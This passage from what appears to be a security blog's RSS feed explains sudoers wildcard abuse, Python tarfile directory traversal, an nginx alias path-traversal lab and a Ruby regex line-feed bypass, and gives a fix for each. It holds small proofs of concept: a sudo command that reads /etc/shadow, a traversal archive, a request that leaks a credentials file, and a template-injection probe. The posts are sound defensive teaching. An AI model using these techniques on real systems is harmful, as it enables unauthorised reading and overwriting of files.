&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;*&lt;/code&gt; matches any character (including whitespace, as we see further below), so a user is free to modify the path as desired.&lt;/p&gt;
&lt;p&gt;So while the wildcard sounds like an easy way to solve the initial problem, it is always better to be &lt;em&gt;explicit&lt;/em&gt; about what a user can do (either by putting a restricting regular expression in place or – even better – always explicitly targeting a file or declaring a static argument), for example by listing all the full commands with the different arguments that are allowed to be executed or by building a small wrapper program.&lt;/p&gt;
&lt;h2 id="not-a-problem-specific-to-interpreted-scripts"&gt;Not a problem specific to interpreted scripts&lt;/h2&gt;
&lt;p&gt;This is not solely a problem related to executing scripts with an interpreter (like the above example) but applies in general.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://www.sudo.ws/docs/man/sudoers.man/#Wildcards_in_command_arguments"&gt;&lt;code&gt;sudo&lt;/code&gt; documentation&lt;/a&gt; presents another example using &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat /var/log/messages*
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, users in the &lt;code&gt;operator&lt;/code&gt; group are supposed to &lt;code&gt;cat&lt;/code&gt; only messages files. But simply adding a second argument using whitespace (which is covered by &lt;code&gt;*&lt;/code&gt;) would allow them to read any file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo cat /var/log/messages /etc/shadow
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The suggested safer alternative from the documentation is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%operator ALL = /bin/cat ^/var/log/messages[^[:space:]]*$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This works fine when your path points to a file (which is expected when targeting &lt;code&gt;/var/log/messages&lt;/code&gt;). If &lt;code&gt;messages&lt;/code&gt; were a directory and not a file, you would have the same issue as above, though.&lt;/p&gt;
&lt;p&gt;Conclusion: always be explicit in your &lt;code&gt;sudoers&lt;/code&gt; file about what you want to allow.&lt;/p&gt;</description></item><item><title>Python tarfile directory traversal</title><link>https://davidhamann.de/2022/09/23/python-tarfile-vulnerability/</link><pubDate>Fri, 23 Sep 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/09/23/python-tarfile-vulnerability/</guid><description>&lt;p&gt;Currently, there&amp;rsquo;s a lot of hype around the behavior of Python&amp;rsquo;s &lt;code&gt;tarfile&lt;/code&gt; module for extracting archives. In short: &lt;code&gt;tarfile&lt;/code&gt; will not sanitize filenames in archives to prevent directory traversal attacks. For example, creating an archive and adding a file with a leading &lt;code&gt;../&lt;/code&gt; will make the &lt;code&gt;extract*&lt;/code&gt; methods create that file in a directory above the current one. This way (or by using an absolute path starting with &lt;code&gt;/&lt;/code&gt;), a file can be written to an arbitrary location (given that the user executing the code has the according write privileges).&lt;/p&gt;
&lt;p&gt;In 2007 this behavior was filed under &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2007-4559"&gt;CVE-2007-4559&lt;/a&gt;. It didn&amp;rsquo;t lead to a patch of the library, but instead the documentation was updated to include:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of &lt;em&gt;path&lt;/em&gt;, e.g. members that have absolute filenames starting with &lt;code&gt;&amp;quot;/&amp;quot;&lt;/code&gt; or filenames with two dots &lt;code&gt;&amp;quot;..&amp;quot;&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;After the article &lt;a href="https://www.trellix.com/en-us/about/newsroom/stories/research/tarfile-exploiting-the-world.html"&gt;Exploiting the World With a 15-Year-Old Vulnerability&lt;/a&gt; and &lt;a href="https://www.trellix.com/en-us/about/newsroom/news/news-detail.html?news_id=10cb07fa-6837-48b8-8e99-d58a7526eff3"&gt;Trellix Launches Advanced Research Center, Finds Estimated 350K Open-Source Projects at Risk to Supply Chain Vulnerability&lt;/a&gt; by Trellix this behavior is now on everybody&amp;rsquo;s radar again.&lt;/p&gt;
&lt;h2 id="how-does-it-work"&gt;How does it work?&lt;/h2&gt;
&lt;p&gt;The behavior is fairly easy to demonstrate.&lt;/p&gt;
&lt;p&gt;First, create a demo file (&lt;code&gt;test.txt&lt;/code&gt;). Then, create an archive with that file but specify an adjusted name to be used in the archive (&lt;code&gt;../test.txt&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;tarfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Hello&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;my_archive.tar&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w:xz&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arcname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;../test.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, give that file to a Python application that extracts tar files, for example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;tarfile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;tarfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;my_archive.tar&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extractall&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running the application will extract &lt;code&gt;test.txt&lt;/code&gt; into the directory above the current directory. By adjusting the path in &lt;code&gt;arcname&lt;/code&gt; you can essentially place the file anywhere you want, given you are allowed to write there. Overwriting critical system files, writing executables, etc. is, of course, all potentially possible.&lt;/p&gt;
&lt;h2 id="is-it-a-vulnerability-and-is-every-extract-use-immediately-vulnerable"&gt;Is it a vulnerability and is every extract use immediately vulnerable?&lt;/h2&gt;
&lt;p&gt;The library basically does what the documentation says it does and works according to specifications. While secure defaults are generally preferred, I&amp;rsquo;m not sure I would classify this as a vulnerability in the library per se, but more so in the projects using the library&amp;rsquo;s &lt;code&gt;extract*&lt;/code&gt; methods without additional member checks.&lt;/p&gt;
&lt;p&gt;Still, having an explicit option in Python&amp;rsquo;s &lt;code&gt;tarfile&lt;/code&gt; to allow absolute paths (or those containing &lt;code&gt;..&lt;/code&gt;) like BSD/GNU &lt;code&gt;tar&lt;/code&gt;&amp;rsquo;s &lt;code&gt;-P&lt;/code&gt; option would certainly be desirable as it would allow developers to explicitly (or better implicitly) enable these protections. After all, not everybody reads the docs :-)&lt;/p&gt;
&lt;p&gt;The above mentioned &lt;code&gt;tar&lt;/code&gt; implementations either reject or change the invalid paths and you get a warning like &lt;code&gt;tar: Removing leading ../../../../../../../../../' from member names&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While secure defaults are generally better and it&amp;rsquo;s a good idea to review your existing code for &lt;code&gt;tarfile&lt;/code&gt; usage and check if any externally controllable files can reach the extract methods, I&amp;rsquo;m always a bit skepitcal about sentences like &amp;ldquo;a vulnerability estimated to be present in over 350,000 open-source projects and prevalent in closed-source projects&amp;rdquo;. Resulting news headlines then quickly come up with something like &lt;a href="https://www.bleepingcomputer.com/news/security/unpatched-15-year-old-python-bug-allows-code-execution-in-350k-projects/"&gt;Unpatched 15-year old Python bug allows code execution in 350k projects&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are surely a number of affected projects where the described behavior can cause a lot of trouble. But, generally, not &lt;em&gt;every&lt;/em&gt; use of the extract methods will be with files that can be controlled by an attacker and thus not every call with an unsanitized archive can be exploited. And of those that &lt;em&gt;can&lt;/em&gt; be exploited, not every case will lead to immediate remote code execution.&lt;/p&gt;
&lt;p&gt;Funny side note: I have seen this issue multiple times deliberately implemented in CTF challenges in the past.&lt;/p&gt;</description></item><item><title>nginx alias misconfiguration allowing path traversal</title><link>https://davidhamann.de/2022/08/14/nginx-alias-traversal/</link><pubDate>Sun, 14 Aug 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/08/14/nginx-alias-traversal/</guid><description>&lt;p&gt;I recently came across an nginx server that had a vulnerable alias configuration which allowed anyone to read files outside the intended directory. In the following post I will describe the misconfiguration and provide demo files so that you can experiment with it yourself.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 The general issue was originally highlighted a few years ago in a BlackHat presentation (&lt;a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf"&gt;Breaking Parser Logic!, Orange Tsai&lt;/a&gt;) and apparantly first shown even earlier. While the linked presentation only has a couple of slides on this particular issue it&amp;rsquo;s worth checking out in full.
&lt;/div&gt;

&lt;h2 id="the-docker-setup"&gt;The docker setup&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s say we have a PHP application that should be served through nginx. To quickly get things running we configure our setup via the following &lt;code&gt;docker-compose.yml&lt;/code&gt; file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;version: &amp;#34;3.7&amp;#34;

services:
 web:
 image: nginx:alpine
 ports:
 - 8081:80
 networks:
 - internal
 volumes:
 - ./webapp:/var/www/webapp
 - ./nginx.conf:/etc/nginx/conf.d/default.conf
 depends_on:
 - php

 php:
 image: php:fpm-alpine
 volumes:
 - ./webapp:/var/www/webapp
 networks:
 - internal

networks:
 internal:
 driver: bridge
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have two services, &lt;code&gt;web&lt;/code&gt; (nginx) and &lt;code&gt;php&lt;/code&gt;, mount our php source code and &lt;code&gt;nginx.conf&lt;/code&gt; and have the services on the same &lt;code&gt;internal&lt;/code&gt; network.&lt;/p&gt;
&lt;p&gt;Our directory structure will look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── docker-compose.yml
├── nginx.conf
└── webapp
 ├── app
 │   ├── db.php
 │   └── webroot
 │   └── index.php
 └── static
 └── sample.png
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-nginx-config"&gt;The nginx config&lt;/h2&gt;
&lt;p&gt;Our &lt;code&gt;nginx.conf&lt;/code&gt; file will be a fairly simple and standard-looking one which already has the issue baked in (can you see it?):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;server {
 server_name _;

 root /var/www/webapp/app/webroot;
 index index.php index.html index.htm;

 access_log /var/log/nginx/php-access.log;
 error_log /var/log/nginx/php-error.log;

 location /assets {
 alias /var/www/webapp/static/;
 }

 location / {
 try_files $uri $uri/ /index.php?$query_string;
 location ~ \.php$ {
 include fastcgi_params;
 fastcgi_pass php:9000;
 fastcgi_index index.php;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 }
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="the-web-app"&gt;The web app&lt;/h2&gt;
&lt;p&gt;Our demo web app is really just for demonstration purposes and doesn&amp;rsquo;t do anything useful.&lt;/p&gt;
&lt;p&gt;We have &lt;code&gt;webapp/app/db.php&lt;/code&gt; (to have a file outside of the webroot that contains some credentials):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;appuser&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;secret&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$db&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mysql:host=localhost;dbname=test&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then our &lt;code&gt;index.php&lt;/code&gt; in the webroot folder to show an intended output of the PHP application:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Here is the webroot&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="launch-the-application-and-see-the-issue"&gt;Launch the application and see the issue&lt;/h2&gt;
&lt;p&gt;Now that we have all necessary demo files set up, we can launch our containers:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker-compose up --build
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going to &lt;code&gt;http://127.0.0.1:8081&lt;/code&gt; should now return &lt;code&gt;Here is the webroot&lt;/code&gt;, which is the output of &lt;code&gt;index.php&lt;/code&gt; in the webroot folder.&lt;/p&gt;
&lt;p&gt;As seen in the above nginx config we also have an &lt;code&gt;/assets&lt;/code&gt; location pointing to the &lt;code&gt;/static&lt;/code&gt; directory. Navigating to &lt;code&gt;http://127.0.0.1:8081/assets/sample.png&lt;/code&gt; gives us the sample image, as expected.&lt;/p&gt;
&lt;p&gt;So what&amp;rsquo;s the issue?&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;/assets&lt;/code&gt; location directive has no trailing slash and nginx will thus only match &lt;code&gt;/assets&lt;/code&gt; and then append whatever is in the request to the final destination path.&lt;/p&gt;
&lt;p&gt;If we open &lt;code&gt;http://127.0.0.1:8081/assets../app/db.php&lt;/code&gt; we can force a directory traversal and access files in a directory one level down. For our demo app this means we can access the source code of &lt;code&gt;db.php&lt;/code&gt;, a sensitive file outside of the webroot. Here, &lt;code&gt;/assets../app/db.php&lt;/code&gt; effectively becomes &lt;code&gt;/var/www/webapp/static/../app/db.php&lt;/code&gt;.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Note that attempts to force &amp;ldquo;regular&amp;rdquo; directory traversals in a requested path, as in &lt;code&gt;/../&lt;/code&gt;, are obviously prevented by default.
&lt;/div&gt;

&lt;p&gt;&lt;img alt="nginx slash traversal" loading="lazy" src="https://davidhamann.de/images/nginx_alias_traversal.png"&gt;&lt;/p&gt;
&lt;p&gt;While we could of course prevent the PHP source code from being returned vs. evaluated, this would not change the fact that we could still access other files one directory down – for example something like &lt;code&gt;/assets../app/.env&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The fix here is to make sure to always set the full path in the location directive, as in &lt;code&gt;location /assets/&lt;/code&gt; (note the trailing slash).&lt;/p&gt;
&lt;h2 id="the-files"&gt;The files&lt;/h2&gt;
&lt;p&gt;You can access the demo files via this &lt;a href="https://gist.github.com/davidhamann/f589b434071bb7e2a1502643d1dcd8fb"&gt;GitHub gist&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Bypassing regular expression checks with a line feed</title><link>https://davidhamann.de/2022/05/14/bypassing-regular-expression-checks/</link><pubDate>Sat, 14 May 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/05/14/bypassing-regular-expression-checks/</guid><description>&lt;p&gt;Regular expressions are often used to check if a user input should be allowed for a specific action or lead to an error as it might be malicious.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s say we have the following regular expression that should guard the application from allowing any characters that could be used to execute code as part of a template injection:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/^[0-9a-z]+$/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first sight this looks OK: if we have a string containing only numbers and/or characters &lt;code&gt;a-z&lt;/code&gt; we will match them and can continue. If we have other characters and are thus not matching this pattern, we can error out. Injecting something like &lt;code&gt;abc&amp;lt;%=7*7%&amp;gt;&lt;/code&gt; or any other template injection pattern won&amp;rsquo;t work. Or will it? It depends&amp;hellip;&lt;/p&gt;
&lt;h2 id="implementations-matter"&gt;Implementations matter&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s compare the behavior in two environments: Ruby and Python.&lt;/p&gt;
&lt;p&gt;Ruby:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;my_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;abc&amp;lt;%= 7*7 %&amp;gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;my_input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^[0-9a-z]+$/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Matches pattern, let&amp;#39;s continue...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;puts&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Does not match. Error out...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;my_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;abc&amp;lt;%= 7*7 %&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^[0-9a-z]+$&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;my_input&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Matches pattern, let&lt;/span&gt;&lt;span class="se"&gt;\&amp;#39;&lt;/span&gt;&lt;span class="s1"&gt;s continue...&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Does not match. Error out...&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running either sample will lead to the error case.&lt;/p&gt;
&lt;p&gt;However, once we introduce a multi-line string, the two examples behave differently. Let&amp;rsquo;s change the &lt;code&gt;my_input&lt;/code&gt; to &lt;code&gt;abc\n&amp;lt;%= 7*7 %&amp;gt;&lt;/code&gt; in both snippets and run them again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ruby test.rb
Matches pattern, let&amp;#39;s continue...
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;$ python3 test.py
Does not match. Error out...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If an attacker is able to control &lt;code&gt;my_input&lt;/code&gt; in the above Ruby example, and this input is then actually used somewhere important (like in a template), it can lead to remote code execution and/or information disclosure.&lt;/p&gt;
&lt;h2 id="why-is-it-different"&gt;Why is it different?&lt;/h2&gt;
&lt;p&gt;In Ruby (but not only) the &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;$&lt;/code&gt; match at the start and end of each line. So if any (!) one line is matching, we have a successful match. What we would rather want in this case is matching the beginning and end of the string, which is possible with &lt;code&gt;\A&lt;/code&gt; and &lt;code&gt;\z&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In Python, on the other hand, we would need to enable this multi-line behavior explicitly with &lt;code&gt;re.MULTILINE&lt;/code&gt;. Taking the example from above, this (probably unwanted behavior) would look like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^[0-9a-z]+$&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;my_input&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MULTILINE&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Matches...&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note, though, that Python&amp;rsquo;s &lt;code&gt;re.match&lt;/code&gt; would generally only always match the beginning of the string, not the beginning of each line (see &lt;code&gt;re.search&lt;/code&gt; for scanning the full string).&lt;/p&gt;
&lt;h2 id="be-mindful-of-the-implementation"&gt;Be mindful of the implementation&lt;/h2&gt;
